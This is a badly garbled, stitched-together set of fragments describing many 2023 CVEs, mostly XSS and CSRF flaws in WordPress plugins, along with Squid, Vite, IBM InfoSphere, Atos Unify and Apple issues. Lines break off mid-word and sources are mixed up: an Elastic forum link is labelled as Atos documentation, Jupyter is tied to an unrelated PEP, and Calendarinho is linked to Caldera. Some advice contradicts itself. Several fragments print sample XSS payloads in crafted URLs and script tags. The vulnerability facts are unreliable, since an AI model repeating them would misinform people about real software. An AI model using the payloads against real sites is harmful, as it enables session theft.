lattermost webapp's frontend code handles URLs like '/<TEAM\_NAME>/channels/<CHANNEL\_NAME> earlier. This vulnerability allows a remote unauthenticated attacker to redirect users to arbitrary web

'jvn.jp/en/jp/JVN96209256/- <https://pleasanter.org/archives/vulnerability-update-202311>

to users with a link containing the specially crafted URL. When the user clicks on the link, they could t -2023-46688) might involve a URL parameter that is not properly validated by Pleasanter, such as: http versions. It is a stored cross-site scripting (XSS) vulnerability that could allow an attacker to inject arbitri

he context of the affected user's web browser. This could result in actions such as stealing session coo

//jvn.jp/en/jp/JVN96209256/- <https://pleasanter.org/archives/vulnerability-update-202311>

ht be able to store a malicious script in the application database through an input form that does not p ot and posts it to a forum or comment section of the Pleasanter application.2. The malicious script gets i Popup plugin for WordPress. It relates to Reflected Cross-Site Scripting (XSS) that arises from insuffici that are rendered in the user's browser. If an attacker can trick a user into clicking a link or performing by CVE-2023-6527. It is recommended that users of the plugin update to a later version that addresse ious link that reflects a script into the webpage via the HTTP\_REFERER header, or embedding the scrip opository with the source code for version 1.2.19 that likely includes a fix: <https://plugins.trac.wordpress.e> Email Subscription Popup plugin for WordPress were advised to update to a version that is not vulne i versions of the Atlassian Companion App for MacOS. This security flaw allows an attacker to use Web e victim's machine. By exploiting the vulnerability through WebSockets, the attacker could potentially g an. The details of the vulnerability can be found at '<https://confluence.atlassian.com/security/cve-202> ficial Atlassian security advisories and the Jira issue tracker. The provided references, '<https://conflue> malicious webpage which opens a WebSocket connection to the Atlassian Companion App running on security issue is particularly severe as it allows an attacker to remotely execute arbitrary code on the vi

le Chrome that allows a potential spoofing of the contents of an iframe dialog context menu. i

<https://chromereleases.googleblog.com/2023/12/stable-channel-update-for-desktop.html> - <https://crbug.com/12006099>. It initially spoofed the contents of an iframe dialog context menu using a crafted HTML page. This could trick users into interacting with the menu.

In the available references, In general, responsible disclosure usually involves not publishing detailed exploit details. However, stored XSS vulnerabilities are generally considered to be high risk because they can

io.com, a gist on <https://gist.github.com/durian5201314/957af852a42dad9c07ceb3fb2f8359b2>, and triggered this vulnerability by sending a malicious script through /admin.php, which then gets stored on the server. The published packages contained test code, including a script that executes the 'GetPhpInfo.php' script in the '/vendor/microsoft/microsoft-graph-core/tests/' directory, due to a bug in the phpinfo() function. This information might contain sensitive details like server configuration, installed PHP SDK. Those who are using a vulnerable version of the SDK are urged to update to the patched release if feasible. These include deleting the 'GetPhpInfo.php' file from the 'vendor/microsoft/microsoft-graph' directory by authorized personnel for testing and remediation purposes, not malicious exploitation. An attack

security advisories and repository comparisons on GitHub. Some of these references are:- <https://github.com/microsoftgraph/msgraph-sdk-php>. This vulnerability stems from test code that was included in published packages. Configuration that allows the /vendor directory of a PHP application to be accessible over the web. This fix for the msgraph-sdk-php vulnerability includes deleting the 'vendor/microsoft/microsoft-graph' directory. Upgrading to these versions or any later version would resolve the issue. Comparisons provided in the references section of the CVE report, including GitHub comparison links between a vulnerable version of msgraph-sdk-php and a patched version. A server using a vulnerable version of msgraph-sdk-php, could navigate to or send a request to 'http://vulnerable-server'. This issue involves unsafe deserialization of Java objects from Hadoop or Spark configuration properties, such as 'mapreduce.job轨op', to Elasticsearch, the company behind Elasticsearch.

stream to a Java object is done unsafely, thus creating a potential security risk.

Scoring is used to determine the severity of vulnerabilities, and in this case, the scoring information is provided by modifying Hadoop or Spark configuration properties through unsafe deserialization. The exact details are discussed in the official Atos Unify OpenScape product documentation, with the specific link being: <https://discuss.elastic.co/t/elasticsearch-hadoop-7-17-vulnerability/176194>. Java objects that, when serialized, execute code on the Elasticsearch Hadoop cluster potentially lead to remote code execution. The resolution involved implementing secure deserialization practices, such as input validation, and using secure serialization libraries. The affected products include the Atos Unify OpenScape products such as 'Session Border Controller' (SBC), 'Branch', and 'OpenScape Controller' (SBC), 'Branch', and OpenScape 'BCF'. It is important to note that the vulnerability pertains to specific Atos Unify OpenScape appliances. An attacker can bypass authentication for the administrative interface. However, given that the vulnerability can provide an unauthenticated attacker with root access over the affected Atos Unify OpenScape appliances via SSH, which is a significant scope change. Further details can be found in the official documentation and security advisories.

Following links: the Packet Storm Security website at '<http://packetstormsecurity.com/files/176194/Atos-Unify-OpenScape-BCF-Root-Access-Exploit>'. It is a proof-of-concept exploit for an Atos Unify OpenScape product. The exploit sends a specially crafted HTTP request to the vulnerable administrative web interface of the Atos Unify OpenScape product. This exploit is designed to work on Atos Unify OpenScape products running SDK versions prior to 1.5.24. The issue stems from an implicit intent hijacking scenario that allows an attacker to gain root access on the affected device.

Security website at: <https://security.samsungmobile.com/serviceWeb.smsb?year=2023&month=12>

tack where a malicious application intercepts and responds to an implicit intent that was intended for listening for implicit intents that are used by the Samsung Account Web SDK. When a legitimate application for CVE-2023-42572. However, developers and security professionals should refer to the official advisory framework, which is used for AJAX in Microsoft ASP.NET applications. The affected versions of this package is recommended that users upgrade to a version later than 21.12.22.1 to resolve the vulnerability. Upgrading the package to the latest version that includes the security fix. The version that addresses this vulnerability can be found at this link: <https://github.com/michaelschwarz/Ajax.NET-Professional/security/advisories/GHSA-8v6j>. A cross-site scripting vulnerability to execute arbitrary JavaScript code in the context of a user's browser session on the affected application might look something like this: ``C#protected ways. These might include:- Stealing session cookies or tokens to impersonate a user.- Manipulating vite's HTML transformation is manually invoked with `server.transformIndexHtml`. If the HTML being string designed to inject arbitrary HTML content when the `server.transformIndexHtml` function is called. Vite@4.4.12. Any application using earlier versions of Vite with a custom app type and default HTML rendering convinces a user to click on a malicious URL that contains a query string designed to inject harmful HTML. The versions of Vite—vite@5.0.5, vite@4.5.1, and vite@4.4.12. These versions contain the necessary fix for CVE-2023-49288.

includes a fix for the vulnerability. For users who are unable to upgrade, the recommended action is to use the Use-After-Free bug to initiate a Denial of Service (DoS) attack against a vulnerable Squid proxy server. To do this, add the 'collapsed\_forwarding on' directive in the squid.conf file like this: http\_port 3128 cache\_dir ufs /var/cache/squid

at the URL: <https://github.com/squid-cache/squid/security/advisories/GHSA-rj5h-46j6-q2g5>. This vulnerability is classified as an 'Incorrect Check of Function Return Value' bug, and it can be exploited to cause a Denial of Service (DoS) by affecting the management of Squid's Helper processes. This exploit requires users to upgrade to Squid version 6.5 or above.

It is recommended to upgrade to Squid version 6.5, which contains the necessary fix for this vulnerability.

[http://www.squid-cache.org/Versions/v6/SQUID-2023\\_8.patch](http://www.squid-cache.org/Versions/v6/SQUID-2023_8.patch) and <https://github.com/squid-cache/squid/tree/v6.5>. It affects Squid's Helper process management, making the software susceptible to a Denial of Service attack under certain conditions that trigger an incorrect check of a function's return value within Squid. This exploit supports HTTP, HTTPS, FTP, and other protocols. This vulnerability is related to a Buffer Overread bug fixed in Squid version 6.5. Users are advised to upgrade their Squid installation to this version or later to avoid exploits for this particular Buffer Overread bug in Squid. The only recommended solution is to upgrade to Squid 6.5 or later to mitigate the risk associated with this vulnerability. There are no known workarounds for this particular Buffer Overread bug in Squid. The only recommended solution is to upgrade to Squid 6.5 or later to mitigate the risk associated with this vulnerability.

A lack of proper sanitization and escaping of fields in the plugin settings of the Simply Excerpts WordPress plugin has been identified as a potential security risk for administrators, especially in scenarios where the unfiltered\_html capability is disallowed, like in a

y web scripts into the site. This can lead to a range of malicious activities such as stealing session cookies accessing the plugin's settings page and injecting malicious JavaScript code into one of the fields <https://wpscan.com/vulnerability/79b79e9c-ea4f-4188-a1b5-61dda0b5d434>

}; SVG, WEBP and ICO files'. The plugin, as of version 1.2.1, fails to properly sanitise uploaded SVG files, including SVG, WEBP and ICO files' WordPress plugin. The vulnerability allows for SVG files containing malicious attacks. Since the plugin doesn't sanitise SVG files correctly, an attacker with 'Author' role privileges can

!60 by uploading malicious SVG files.

re for SVG files within the plugin, or use an alternative plugin or method to ensure that any content up  
ie, specifically at the following URL: <https://wpscan.com/vulnerability/82f8d425-449a-471f-94df-8439>

which could include sensitive path information.

quests from an authenticated user that result in unhandled errors.

`5f17618b36652``

:k information is no longer included in JSON error responses. Although the traceback field is still present, it is empty. See [PEP 471](#) for more information.

version of Jupyter Server that includes the fix.

ggering an unhandled error in the Jupyter Server API to reveal traceback information. Through this info, the Jupyter Server GitHub commit, the Jupyter Server's security advisories on GitHub, and announcements made by the maintainers, it appears that the vulnerability was introduced in version 2023.5.767.

i webserver. This occurs due to an RDT language file being improperly sanitized, which could allow a m  
ically, because of the improper sanitization of an RDT language file, an attacker could potentially inject

✓ Hitachi Energy. The reference URL is: <https://publisher.hitachienergy.com/preview?DocumentId=8D>  
especially designed script and embedding it into an RDT language file for the webserver. When a legitimate user visits the page, the server will execute the embedded script. This may indicate the Common Vulnerability Scoring System (CVSS) score is not available or has no information available. This is a Reflected Cross-Site Scripting (XSS) Vulnerability that allows a network attacker with

on theft, or client-side request forgery due to the execution of malicious code in the victim's browser. Information and apply the security update by visiting the Dell support page at the following URL: <http://www.dell.com/support> 5.14.0.0 and prior.

a malicious URL with embedded JavaScript code that is designed to be executed when the link is clicked. This can lead to various programs. It pertains to a Remote Code Execution (RCE) flaw that could be exploited via XSLT when used in conjunction with certain web browsers.

ous webpage that uses XSLT processing to execute arbitrary code on the system where HtmlUnit is run

official GitHub security advisories page at <https://github.com/HtmlUnit/htmlunit/security/advisories> for more information.

s a website containing malicious XSLT content. When a user running an unpatched version of HtmlUnit

's into clicking a tampered link that redirects them to a malicious website. This can result in phishing at darinho application to a commit after '15b2393', which contains the patch for this vulnerability.

The only recommended action is to update to a version of Calendarinho that includes the patch.

ng attacks, information theft, and reputational damage to the organization using the Calendarinho api following URL: <https://github.com/Cainor/Calendarinho/commit/15b2393efd69101727d27a4e710881>

› app that is meant to redirect a user to a specific page after an action, like logging in. If the parameter `target` was not properly validated, it could lead to a security vulnerability. A GitHub security advisory details this issue: <https://github.com/Cainor/Caldera/pull/1382>. The issue is a server-side request forgery (SSRF) that could be exploited by authenticated users when they are redirected to a URL that they control. This is because the application does not properly validate the target URL. The fix for this issue is to update the application to use a more secure method for handling redirections, such as using a whitelist of allowed URLs or using a secure redirect library. This fix will be included in subsequent releases after the commit, which makes upgrading an essential step for anyone using this application.

version 3.4.15, thereby preventing the crafting of a special request by authenticated backend users to exploit this scenario. A potential mitigation for this issue is to establish an SSL/TLS connection between the client and the server. It's also recommended to upgrade to version 3.4.15 or later. It's also recommended to review user permissions and audit the code for cross-site scripting (XSS) vulnerabilities.

IBM X-Force Exchange has identified a critical vulnerability in the October CMS application, specifically in version 3.4.15. This vulnerability is a cross-site scripting (XSS) flaw that can be exploited by attackers to inject arbitrary JavaScript code into the application's output. The vulnerability was discovered in the CMS template editor component. To mitigate this risk, it is recommended to upgrade to the latest version of October CMS (version 3.4.15 or later). Additionally, it is important to review user permissions and audit the code for XSS vulnerabilities.

ation such as user credentials. An attacker could use the injected JavaScript to manipulate the web UI JRL containing JavaScript code. When a legitimate user navigates to this URL while logged into the IBM version 11.7 that allows for cross-site scripting (XSS). It enables a malicious user to inject arbitrary JavaSc

ry JavaScript code into the Web UI of IBM InfoSphere Information Server, which could lead to altering

which include the IBM X-Force Exchange at '<https://exchange.xforce.ibmcloud.com/vulnerabilities/265>

ges to craft a malicious link containing embedded JavaScript code and tricks a user into clicking on it w  
ject arbitrary JavaScript code into the Web UI. This can alter how the application is supposed to functi  
· 11.7 which exposes the software to cross-site scripting attacks. This vulnerability allows malicious use  
ipting (XSS) attacks. Attackers can exploit this vulnerability to execute arbitrary JavaScript code in the \  
ound at IBM X-Force Exchange and IBM Support Pages, with the following URLs: <https://exchange.xfor>

a crafted link containing malicious JavaScript code to a victim. If the victim, who is authenticated and t  
pdates provided by IBM specific to this vulnerability. It's also advisable to implement general XSS prot  
VE-2023-43015.

de into the web UI, which can alter the intended functionality and potentially lead to the disclosure of  
data.

xchange at <https://exchange.xforce.ibmcloud.com/vulnerabilities/266064> and the IBM Support page :  
input in its response without proper encoding or validation, like the following: ``html<script> var userIn|  
ous URL containing JavaScript code. They would then trick a legitimate user into clicking the URL or vis  
VE-2023-38268.

request forgery (CSRF) vulnerability.

nauthorized actions transmitted from a user that the website trusts, potentially compromising the sec

at <https://www.ibm.com/support/pages/node/7067682> and IBM X-Force Exchange at <https://exchan>

utive email with a link or embedding a script in a webpage that, when clicked by a logged-in IBM InfoSr  
· software update. The implementation of anti-CSRF tokens and ensuring that the application checks fo  
equently fixed in various Apple operating systems and software, including iOS 17.1.2, iPadOS 17.1.2, m  
L, as well as potentially other Apple operating systems and software that were updated with the releas  
n if malicious web content is processed. An attacker could potentially exploit this vulnerability to take  
mechanisms to prevent memory corruption. Users should update to iOS 17.1.2, iPadOS 17.1.2, macOS  
rds.

· security bulletins and support documents, such as those available on the Full Disclosure mailing list, t  
ally designed web content that, when processed by an affected device, could lead to memory corruptio  
n. Typically, code examples for the exploitation of vulnerabilities such as this one are not made publ  
s an out-of-bounds read that was corrected through improved input validation. This vulnerability was p  
ecifically, the vulnerability was fixed in iOS 17.1.2 and iPadOS 17.1.2, macOS Sonoma 14.1.2, and Safa  
sufficient input validation. This type of vulnerability can result in unauthorized disclosure of informatio  
loited against older versions of iOS, specifically before iOS 16.7.1.

es to the latest versions provided by Apple, which include fixes for this specific vulnerability. The updat  
ms including security mailing lists like Full Disclosure and OSS security, Apple's support website, the De

content designed to trigger the out-of-bounds read vulnerability. By doing so, they could potentially ac  
es from potential exploitation that could lead to sensitive information disclosure. By patching this vuln

FF Server allows access to arbitrary file paths, which may lead to file or directory enumeration, directc

[ps://github.com/qwell/disorder-in-the-court/blob/main/README-TylerTechnologies.md](https://github.com/qwell/disorder-in-the-court/blob/main/README-TylerTechnologies.md) - <https://www> e attacker to enumerate files or directories, traverse directories, bypass authentication, or access rest of HTTP requests to the TIFF Server's file path URL parameter, using directory traversal sequences suc

'on', also known as a Reflected Cross-site Scripting (XSS) vulnerability, in the Happyforms plugin for Wo  
ess from all previous versions up to and including 1.25.9.

d or it's marked as 'N/A', which stands for 'Not Available'.

eference URL: <https://patchstack.com/database/vulnerability/happyforms/wordpress-happyforms-plu>ing a malicious URL with a script payload. For instance, if the vulnerable parameter is 'search', an attac m XSS attacks. The attacker could send phishing emails with links containing malicious JavaScript, and issue found in the Theme nectar Salient Core plugin. The vulnerability allows for Stored XSS, which can S type of issue, where improper neutralization of input occurs during web page generation.

for WordPress websites developed by Theme nectar.

us scripts into areas of a web application where users can store data. For example, the attacker could | e URL provided in the references: <https://patchstack.com/database/vulnerability/salient-core/wordpi>terabilities are typically published after a patch is released. Users of the affected plugin should check f permanently embed malicious scripts in the application, which are executed every time a user access

23-48748.

ss-site Scripting' or XSS) vulnerability present in the Theme nectar Salient Core plugin. This vulnerabilit to and including 2.0.2.

<https://patchstack.com/database/vulnerability/salient-core/wordpress-salient-core-plugin-2-0-2-reflected-cross-si>bedded JavaScript code which, when visited by a victim, executes within the context of the victim's brc user that contains a script tag or JavaScript in the URL parameters. When the user clicks the link, the c orized as 'Improper Neutralization of Input During Web Page Generation'.

PeepSo – Social Network, Membership, Registration, User Profiles'.

version 6.2.6.0.

enerated by the vulnerable plugin. Since the issue allows for Reflected XSS, an attacker could potentiall

ink: <https://patchstack.com/database/vulnerability/peepso-core/wordpress-community-by-peepso-p>acker crafting a malicious URL containing a script payload. The attacker then convinces a user to click c ie following URL encoding a script in the parameters: `http://example.com/vulnerable\_page.php?para oile Pages plugin for WordPress. Specifically, it is an 'Improper Neutralization of Input During Web Pag oped by Ahmed Kaludi and Mohammed Kaludi.

luding 1.0.88.1.

<https://patchstack.com/database/vulnerability/accelerated-mobile-pages/wordpress-amp-for-wp-accelerated-mobile-pages> script code into the web pages generated by the affected plugin. When a victim browses these pages, the attack typically involves embedding a script tag or an on-event handler with nefarious JavaScript code into the input During Web Page Generation or more commonly known as 'Cross-site Scripting' (XSS). This particular version including version 1.5.22.

This means that the vulnerability permits the injection of malicious scripts into vulnerable components of the WebDorado SpiderVPlayer plugin for WordPress. When other users view the Vulnerability Scoring System (CVSS) Base Score.

<https://patchstack.com/database/vulnerability/player/wordpress-spidervplayer-plugin-1-5-22-cross-site-scripting> other input to the website that contains a malicious JavaScript payload. For example: '<script>alert()' The plugin is CVE-2023-48317.

'During Web Page Generation,' which means it's a Stored Cross-Site Scripting (XSS) issue. It occurs when including 2.2.1.

has not been assigned or made available publicly yet.

<https://patchstack.com/database/vulnerability/display-custom-post/wordpress-display-custom-post-plugin-2-2-1-cross-site-scripting> malicious JavaScript code into the 'Display Custom Post' plugin. When an admin or user views the affected plugin has an input field for custom text that does not sanitize the input properly. An attacker could submit CVE-2023-48272.

'on' which is a type of Cross-site Scripting (XSS) vulnerability.

CVE-2023-48272.

<https://patchstack.com/database/vulnerability/contact-forms-anti-spam/wordpress-maspik-spam-blacklist-plugin-0-9-2-cross-site-scripting> scripts into the web pages generated by the Maspik – Spam Blacklist plugin. This could lead to various types of Stored XSS might involve a scenario where the plugin fails to properly sanitize user input, which can be submitted through the Maspik – Spam Blacklist plugin that includes a malicious JavaScript payload. If this leads to Improper Neutralization of Input During Web Page Generation, commonly known as 'Cross-site Scripting' assigned to optimize website performance.

This allows an attacker to inject persistent malicious scripts into a web application, which are then executed. Version 2.2.0 are vulnerable to CVE-2023-47877.

<https://patchstack.com/database/vulnerability/perfmatters/wordpress-perfmatters-plugin-2-1-6-store-and-execute> or interacting with the application in a way that saves malicious JavaScript code to the website's database. 'Script code in a website's database through vulnerable Perfmatters plugin, which is then served to unsuspecting users' issue, commonly known as Cross-site Scripting (XSS) vulnerability, in the Perfmatters plugin.

6.

ers plugin.

<https://patchstack.com/se/vulnerability/perfmatters/wordpress-perfmatters-plugin-2-1-6-reflected-cross-site-scripting-xss-vulnerability> reflecting a malicious URL with embedded JavaScript code that is executed when a victim clicks on the link

commonly involves a URL like `http://example.com/vulnerable-page?param=<script>alert('XSS')</script>`. This is a ('Cross-site Scripting', also known as XSS) vulnerability found in gVectors Team wpForo Forum plugin version 2.2.3. Versions after 2.2.3 are presumed to have patched or mitigated the vulnerability.

recommended to visit the link for details regarding patches or updates to address the vulnerability: [https://wpvulndb.com/vulnerabilities/1000](#). This vulnerability is classified as Critical and affects WordPress versions 4.9.6 and below. It allows for remote code execution via a specially crafted URL. The issue arises from the way user input is handled in the `get_posts()` function of the `WP_Query` class. Specifically, it involves an `in_array()` check that fails to properly neutralize user input, leading to a security flaw. This exploit can be used to execute arbitrary PHP code on the server, potentially leading to full system compromise if the server has certain security weaknesses.

ng 2.6.1. Users with these versions are advised to update the plugin to a patched version as soon as it (SS) attacks allow attackers to inject malicious scripts into a website. This can lead to a variety of attack

red XSS vulnerability by posting malicious content on the web application, typically within forums, can be found through the provided reference: <https://patchstack.com/database/vulnerability/mycred/wordPress>. NerdPress is CVE-2023-47848.

n for WordPress from the start up to and including version 0.20.4.

on', commonly known as a Reflected Cross-site Scripting (XSS) vulnerability, in the Tainacan WordPress plugin. CVE-2023-47848 was published on 30 November 2023.

48 can be found at the following reference URL: <https://patchstack.com/database/vulnerability/tainacan>. This URL contains a malicious URL with JavaScript code embedded in the parameters. If an unsuspecting user clicks on this link or copies and pastes it into their browser, they will be exploited. A crafted URL such as '[http://vulnerable-website.com/tainacan\\_page?search=<script>alert\('XSS'\);//</script>](http://vulnerable-website.com/tainacan_page?search=<script>alert('XSS');//</script>)' will trigger the XSS vulnerability. To prevent such attacks, it is recommended to promptly update the plugin to the latest version that addresses this security issue. It is also a good practice to regularly review and test website security. The reference URL for this issue is <https://patchstack.com/database/vulnerability/tainacan>. The CVE identifier for this issue is CVE-2023-47844.

known as a 'Reflected Cross-site Scripting (XSS)' vulnerability.

g version 1.0.4.

Preference URL: <https://patchstack.com/database/vulnerability/save-grab/wordpress-grab-save-plugin-with-embedded-JavaScript-code-that-is-reflected-back-to-the-user-without-proper-sanitization>. When a user is stealing sensitive information like session cookies, manipulating web content to defraud users, redirecting them to malicious sites, or even deleting posts. This is a common issue with the Q2W3 Post Order plugin. It is a 'Cross-site Scripting' (XSS) vulnerability which arises from the improper neutralization of user input leading to reflected XSS vulnerability. This occurs when an application takes user input and reflects it back to the user without proper sanitization. Specifically, this vulnerability was found in versions up to and including 1.2.8. It is advisable for users of this plugin to update to a version 1.2.9 or later. The parameters that the Q2W3 Post Order plugin reflects back in the response without adequate sanitization are not explicitly mentioned in the CVE-2023-38400 description. However, the official plugin page (<https://patchstack.com/database/vulnerability/q2w3-post-order/>) has been updated to reflect this information. Users are advised to check the official plugin page, update services, or use security tools such as the link provided in the CVE description: '<https://patchstack.com/database/vulnerability/q2w3-post-order/>'. This specific vulnerability is categorized as an 'Improper Neutralization of Input' issue. It occurs when user input is not properly sanitized before being reflected back to the user. In the context of the victim's browser, this manipulation can lead to the execution of malicious JavaScript code. For example, a reflected XSS attack might look like this: ``html<html><script>alert('Exploit!')</script>``. A user who clicks on this link will have the exploit code executed in their browser, potentially compromising their session or device. To prevent such attacks, it is crucial to implement proper input validation and sanitization measures across all user-facing applications and plugins.

rough the following link: <https://patchstack.com/database/vulnerability/enfold/wordpress-enfold-the>

input During Web Page Generation, known more commonly as Cross-site Scripting (XSS). This particula

ction with SoundCloud Inc.'s services.

XSS. Stored XSS is a type of vulnerability where malicious scripts are injected directly into a web application from a user, such as a comment on a blog post, and stores it in a database without proper sanitization. An attacker could inject malicious scripts that could be executed in the browser of any user who views the stored content. This allows an attacker to inject malicious JavaScript code into the web application's data storage through the SoundCloud API.

For more information, please refer to the following link: <https://patchstack.com/database/vulnerability/soundcloud-shortcode/wordpress-xss/>

The affected versions are mentioned up through 3.1.0. It is customary for vendors to release updates as soon as possible. In this case, SEL-411L released SEL-451, where improper neutralization of user input during web page generation could lead to a reflected XSS vulnerability. When a user clicks on this link, the injected script executes within the context of the SEL-451's web interface, leading to a Cross-site Scripting (XSS) vulnerability.

For more information, please refer to the SEL Incorporated website under the security notifications section at <https://selinc.com/support/security-notifications/>. CVE-2023-31177 was identified in the SEL-411L product manual.

of the enquiry.

A script. For instance, the URL might contain a parameter that is directly embedded into the webpage. This is known as an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

ng Laboratories.

Manual's Appendix A for the SEL-411L product, dated August 30, 2023.

<https://selinc.com/support/security-notifications/external-reports/>.

in the provided information.

Injects malicious scripts into the web interface of the vulnerable SEL-411L device. When an authorized user installs the 'Affiliate Toolkit – WordPress Affiliate Plugin'. This vulnerability is characterized as a Reflected Cross-site Scripting (XSS) vulnerability. It occurs when a web application receives user input and immediately uses it to generate script code and convincing a user to click on it. When the user follows the link, the malicious script is reflected back to the user's browser. For more information, please refer to the following link: <https://patchstack.com/database/vulnerability/affiliate-toolkit-xss/>. Users should refer to vulnerability databases or the software vendor for updates on the risk assessment.

nd users of the affected software to review and apply necessary measures as soon as possible after this vulnerability is disclosed. An exploit for CVE-2023-46086 might look something like this: 'http://example.com/vulnerable-page'. The vulnerability is known as an Improper Neutralization of User Input During Web Page Generation, known more commonly as a Stored Cross-site Scripting (XSS) vulnerability. It can affect various forms on the website, specifically the Contact Form – Custom Builder, Payment Form, and possibly others that have not been identified. The vulnerability occurs when user input is stored on the server and later processed by the plugin. This means the severity of the vulnerability has yet to be evaluated for the common scoring method.

..: <https://patchstack.com/database/vulnerability/powr-pack/wordpress-powr-pack-plugin-2-1-0-cross-site-scripting/>. This vulnerability allows an attacker to inject a script into a web application, which is then saved on the server. With CVE-2023-45609, the vendor should immediately update to a version that patches this vulnerability, ensuring that no versions through

'ion', known as a Stored Cross-site Scripting (XSS) vulnerability.

This vulnerability was identified by CVE-2023-44143.

to and including 1.6.1.

<https://patchstack.com/database/vulnerability/bamboo-columns/wordpress-bamboo-columns-plugin-1-6-1-cross-site-scripting-vulnerability/>).

script code into a vulnerable website's page using the Bamboo Columns plugin. When other users view or submit a form or input field on the vulnerable site with the following JavaScript code: `<script>alert('Input During Web Page Generation')`, commonly known as Cross-site Scripting (XSS), found in a WordPress plugin up to and including version 4.6.19. Any installation using a version from the initial release up to and including, but not limited to, stealing cookies, session tokens, or other sensitive information from users; that could exploit a Stored XSS vulnerability like CVE-2023-39921 might look like this: ``html<script type='text/javascript'>document.write('Exploit!');</script>'. An administrator of the Bamboo Columns plugin should promptly update to the latest version that addresses this vulnerability. If the plugin has a Cross-Site Request Forgery (CSRF) issue that affects versions from the initial release up to and including 1.6.1, it should be patched as soon as possible.

CVE-2023-48744.

earse up to and including version 1.2.6.

<https://patchstack.com/database/vulnerability/availability-calendar/wordpress-availability-calendar-plugin-vulnerability/>).

A Cross-Site Request Forgery (CSRF) attack typically involves tricking a victim into submitting a forged request, such as changing a setting or making an unauthorized request to the Availability Calendar plugin interface. If an administrator of the Availability Calendar plugin is tricked into this vulnerability, they could be forced to make changes to the Availability Calendar plugin interface.

'ebTofee Decorator – WooCommerce Email Customizer plugin. The vulnerability allows an attacker to

ted by CVE-2023-48284 are all versions from the initial release up to and including version 1.2.7.

<https://patchstack.com/database/vulnerability/decodenator-vulnerability/>).

This vulnerability allows an attacker to trick a user into making an unintentional request to the web application which the attacker is targeting. In this case, the vulnerability is present in the WebTofee Decorator plugin.

The WebTofee Decorator plugin is a WordPress plugin that allows users to customize their WooCommerce emails.

for WordPress.

and including 1.0.8.

<https://patchstack.com/database/vulnerability/wp-roadmap/wordpress-wp-roadmap-plugin-1-0-8-cross-site-scripting-vulnerability/>).

A Cross-Site Scripting (XSS) attack example could be an attacker injecting malicious JavaScript code into a field that lacks proper sanitization or filtering. This kind of attack can result in the execution of malicious JavaScript on the affected plugin's webpage, which could then be executed in the context of the user's browser.

'rule Your Best Content to Social Media plugin versions from the earliest available up through version 1.2.7. This kind of attack can inject malicious scripts into a trusted website. This kind of attack can result in the execution of malicious JavaScript on the affected plugin's webpage, which could then be executed in the context of the user's browser.

<https://patchstack.com/database/vulnerability/evergreen-content-poster/wordpress-evergreen-content-poster-plugin-1-2-7-cross-site-scripting-vulnerability/>).

This vulnerability allows an attacker to inject malicious JavaScript into the Evergreen Content Poster plugin's webpage, which could then be executed in the context of the user's browser.

The Evergreen Content Poster plugin is a WordPress plugin that allows users to automatically publish posts to social media sites.

and including 1.0.8.

<https://patchstack.com/database/vulnerability/evergreen-content-poster/wordpress-evergreen-content-poster-plugin-1-0-8-cross-site-scripting-vulnerability/>).

A Cross-Site Scripting (XSS) attack example could be an attacker injecting malicious JavaScript code into a field that lacks proper sanitization or filtering. This kind of attack can result in the execution of malicious JavaScript on the affected plugin's webpage, which could then be executed in the context of the user's browser.

The Evergreen Content Poster plugin is a WordPress plugin that allows users to automatically publish posts to social media sites.

and including 1.0.8.

i-40680.

itralization of Input During Web Page Generation, commonly known as 'Cross-site Scripting' or Stored :  
ersion 21.0, is affected by the vulnerability CVE-2023-40680.

on 30 November 2023.

<https://patchstack.com/database/vulnerability/wordpress-seo/wordpress-yoast-seo-plugin-21-0-cross-s>  
n a potential attack scenario, an attacker could exploit the vulnerability by injecting malicious scripts in

Cloaking, Product Displays, and Affiliate Link Management plugin. This vulnerability is categorized as  
ate Link Management plugin.

erability.

Involves an attacker injecting malicious scripts into vulnerable input fields of the Lasso Simple URLs p  
p to and including version 118.

<https://patchstack.com/database/vulnerability/simple-urls/wordpress-simple-urls-plugin-117-shortcode-cross>  
esite such as data theft, session hijacking, defacement of the website, and potentially full control ove  
at has addressed the vulnerability if such an update has been released. If no fix is available, users shou  
ut During Web Page Generation, commonly known as a Cross-site Scripting (XSS) issue. It affects the C:

are all versions from the initial release up to version 2.8.12.

at: <https://patchstack.com/database/vulnerability/forms-for-campaign-monitor/wordpress-campaig>  
th embedded JavaScript code, which would be executed in the victim's browser when the victim clicks

ation for CVE-2023-38474. To understand the vulnerability, one would need to refer to the source cod  
gin, which is a popular analytics plugin for WordPress. This vulnerability is categorized as a Stored Cro:

Generation, also known as Cross-site Scripting (XSS). Specifically, it's a Stored XSS vulnerability, which  
text of the victim's browser session. This can lead to a range of attacks such as stealing session cookie:  
in to the latest version that has patched the XSS vulnerability. As of the last known update, users shou  
<https://patchstack.com/database/vulnerability/google-analytics-premium/wordpress-monsterinsights-p>  
ind submit it through a vulnerable input field in the MonsterInsights Pro plugin. This script would then  
. The severity of the vulnerability might be determined once a score is assigned, based on the impacts  
lished date.

ing Web Page Generation, also known as a Stored Cross-site Scripting (XSS) issue. It was found in the F  
!9.

ding version 1.1.1.

on the affected website, executes unwanted JavaScript whenever a user browses to a page where the |  
<https://patchstack.com/database/vulnerability/fast-custom-social-share-by-codebard/wordpress-fast-custom-sc>

neration', which is commonly known as a Cross-site Scripting (XSS) vulnerability.

8326 vulnerability.

malicious link containing a script which is executed in the context of the user's browser when the link is

ability database: <https://patchstack.com/database/vulnerability/events-manager/wordpress-events-m>

.com/events?search=<script>alert('XSS')</script>`. This URL assumes that the 'search' parameter is vul

vents Manager plugin webpage. The link includes a malicious script in one of the parameters. When a i

ng Web Page Generation', commonly known as a Cross-Site Scripting (XSS) vulnerability. It was found i

! from its initial version up to version 1.13.

he following URL: <https://patchstack.com/database/vulnerability/edoc-employee-application/wordpr>

/vulnerability.

ttacker to execute arbitrary JavaScript in the context of the victim's browser. This could lead to session

us URL with embedded JavaScript code. When a user clicks on this link to view a job application on a si

nverter Import Spreadsheets from Microsoft Excel. Specifically, it allows for Stored XSS, meaning that

xcel from version n/a through 10.1.3.

<https://patchstack.com/database/vulnerability/import-spreadsheets-from-microsoft-excel/wordpress-im>

includes an XSS payload. When this spreadsheet is imported into the affected SpreadsheetConverter In

n theft of session cookies, user credentials to tampering with web page contents. Due to the stored na

eadsheetConverter Import Spreadsheets from Microsoft Excel plugin to the latest version that address

itralization of Input During Web Page Generation', also known as a Cross-site Scripting (XSS) vulnerabil

inject malicious scripts into web pages viewed by other users, possibly leading to unauthorized access

4.

e susceptible to Stored Cross-site Scripting attacks. Attackers can exploit this to perform actions on bel

